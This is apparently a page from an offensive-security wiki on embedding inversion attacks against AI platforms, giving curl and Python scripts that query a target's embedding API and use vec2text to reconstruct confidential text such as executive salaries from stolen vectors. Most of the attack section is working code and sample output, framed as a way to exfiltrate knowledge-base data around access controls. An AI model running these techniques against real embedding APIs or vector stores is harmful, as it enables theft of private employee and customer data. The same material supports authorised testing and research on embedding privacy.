# Embedding Inversion to Recover Training Data

> Techniques to invert ML embeddings and reconstruct sensitive training data, exposing PII and proprietary information from compromised AI platform models.

- **URL:** https://hackindex.io/platforms/ai/exploitation/embeddings/embedding-inversion-to-recover-training-data
- **Path:** AI Platforms > Exploitation > Embeddings and Model Internals
- **Up:** [Embeddings and Model Internals](https://hackindex.io/platforms/ai/exploitation/embeddings.md)
- **Published:** 2026-03-26
- **Updated:** 2026-08-11

Embedding models compress text into dense vectors. The compression is lossy but not random: similar texts produce similar vectors, and the relationship between text and vector is consistent enough that inversion is possible. Embedding inversion attacks reconstruct the original text from a vector, or recover text close enough to be operationally useful.

The attack is relevant wherever embeddings are stored or returned by an API: vector databases containing RAG chunks, embedding APIs that return vectors for user-supplied input, and model serving endpoints that expose intermediate representations. Recovering the source text from embeddings in an hr_internal or customer_contracts collection is a data exfiltration primitive that bypasses application-level access controls entirely.

Common sources of exposed embedding vectors:

- Vector database APIs (Pinecone, Weaviate, Qdrant) returning raw vectors in search results
- Embedding API endpoints that return vectors for user-supplied input
- Model serving endpoints exposing intermediate representations
- Debug or admin interfaces leaking stored vectors

## Confirm the Embedding API Returns Vectors

Some embedding endpoints return vectors directly in the response. Confirm this before attempting inversion:

```bash
curl -sk -X POST https://$TARGET_IP/api/embed -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' -d '{"input":"test query for embedding"}' | python3 -m json.tool
# {
#   "embedding": [0.0231, -0.0412, 0.0187, ...],
#   "model": "text-embedding-3-small",
#   "dimensions": 1536
# }
```

A response containing the raw embedding vector and model name is enough to start inversion. Note the model name and dimensions: the inversion technique depends on which model produced the vector.

## Black-Box Embedding Inversion Attack via API Queries

For black-box inversion without a local model, reconstruct text by iteratively querying the embedding API. Embed candidate texts and compare cosine similarity to the target vector. High similarity indicates the candidate is close to the original. This is slow but requires no local GPU:

```python
import requests, numpy as np, json

TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'

def get_embedding(text):
    r = requests.post(
        f'https://{TARGET_IP}/api/embed',
        headers={'Authorization': f'Bearer {TOKEN}', 'Content-Type': 'application/json'},
        json={'input': text}
    )
    return np.array(r.json()['embedding'])

def cosine_sim(a, b):
    return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))

# Target vector extracted from vector store scroll
target_vector = np.array([0.0231, -0.0412, 0.0187])  # Replace with actual vector

candidates = [
    'Employee salary review Q3 2025',
    'Executive compensation package CEO',
    'Annual performance bonus structure',
    'HR compensation guide confidential',
]

for c in candidates:
    emb = get_embedding(c)
    sim = cosine_sim(target_vector, emb)
    print(f'{sim:.4f} | {c}')
```

```bash
python3 script.py
# 0.9312 | Executive compensation package CEO
# 0.8841 | HR compensation guide confidential
# 0.7203 | Annual performance bonus structure
# 0.6891 | Employee salary review Q3 2025
```

A similarity above 0.90 for a candidate text confirms that candidate closely matches the source of the target vector. Expand around the highest-scoring candidates by adding synonyms, varying phrasing, and including numeric values to refine the reconstruction.

## White-Box Inversion with vec2text

For known embedding models, vec2text provides gradient-based inversion that can recover the original text with high fidelity. It works best against OpenAI text-embedding-ada-002 and text-embedding-3-small, which are the most common models in production RAG deployments:

```bash
pip install vec2text --break-system-packages
```

```python
import vec2text
import torch
import numpy as np

# Load the corrector trained for text-embedding-ada-002
corrector = vec2text.load_pretrained_corrector('text-embedding-ada-002')

# Target embedding extracted from the vector store
target_embedding = torch.tensor([0.0231, -0.0412, 0.0187]).unsqueeze(0)  # Replace with full 1536-dim vector

# Invert the embedding back to text
inverted_text = vec2text.invert_embeddings(
    embeddings=target_embedding,
    corrector=corrector,
    num_steps=20
)

print('Recovered text:', inverted_text[0])
```

```bash
python3 script2.py
# Recovered text: Executive compensation package for FY2025: CEO base salary $480,000
```

vec2text requires the full-dimensional embedding vector. Pair it with a vector store scroll attack to extract all vectors from a sensitive collection, then invert them in bulk. The combination dumps the knowledge base content without ever querying the RAG application through its chat interface.

## References

- [vec2text: Text Embeddings Inversion](https://github.com/jxmorris12/vec2text) - Gradient-based embedding inversion supporting OpenAI ada-002 and text-embedding-3 models
- [Text Embeddings Reveal Almost as Much as Text](https://arxiv.org/abs/2310.06816) - Original vec2text research paper demonstrating high-fidelity inversion of production embedding models
